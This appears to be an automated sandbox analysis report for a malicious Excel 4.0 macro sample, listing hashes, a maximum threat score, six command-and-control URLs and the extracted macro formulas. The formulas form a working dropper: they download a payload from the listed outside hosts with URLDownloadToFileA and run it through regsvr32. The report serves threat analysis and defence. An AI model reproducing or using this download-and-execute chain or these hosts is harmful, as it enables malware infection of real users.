0c68ff6cf8533c1a2ca09c5ea25e8a052011b94f65d70e24997c87d6c1aafaa9

General

Target

0c68ff6cf8533c1a2ca09c5ea25e8a052011b94f65d70e24997c87d6c1aafaa9
Size

40KB
Sample

241120-trl5ystngj
MD5

cb76f5fdc7b3dea102d1fe6c4071ca8e
SHA1

d1509e3987e8e0643e587f10f3b36f99097fec42
SHA256

0c68ff6cf8533c1a2ca09c5ea25e8a052011b94f65d70e24997c87d6c1aafaa9
SHA512

c8529947855b4d5a3553c38dfafd0ae9b905b4453ca9fde207ba899fd498f5522bc599fcf8dc5b0ab533f6ffbff6e20956198c1ff791b381f2ab36f01a636f1d
SSDEEP

768:WXomZDOevZCwtvyKfcrND59V+L9Rw4eWrXcTqZ0VPH+t:SomZDzylND59V4jwmXc2CVPu

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://radiomedenine.com/kidfngb/h3a3D5WRS/

https://mobapkapps.com/wp-includes/JcEqRwhEw0/

https://bhandariclub.com/iwdfol/X64nJKK8fsiQcbkW5MN/

https://welcomelanguages.com/factoo/7Wz9qXX7QSjXm0VPM/

https://deine-bewerbung.com/wp-content/HHotdOzCFlW/

https://wewin21.com/wp-content/NITdYcwbO3C1uJd/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://radiomedenine.com/kidfngb/h3a3D5WRS/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mobapkapps.com/wp-includes/JcEqRwhEw0/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bhandariclub.com/iwdfol/X64nJKK8fsiQcbkW5MN/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://welcomelanguages.com/factoo/7Wz9qXX7QSjXm0VPM/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://deine-bewerbung.com/wp-content/HHotdOzCFlW/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wewin21.com/wp-content/NITdYcwbO3C1uJd/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://radiomedenine.com/kidfngb/h3a3D5WRS/

xlm40.dropper

https://mobapkapps.com/wp-includes/JcEqRwhEw0/

xlm40.dropper

https://bhandariclub.com/iwdfol/X64nJKK8fsiQcbkW5MN/

xlm40.dropper

https://welcomelanguages.com/factoo/7Wz9qXX7QSjXm0VPM/

xlm40.dropper

https://deine-bewerbung.com/wp-content/HHotdOzCFlW/

xlm40.dropper

https://wewin21.com/wp-content/NITdYcwbO3C1uJd/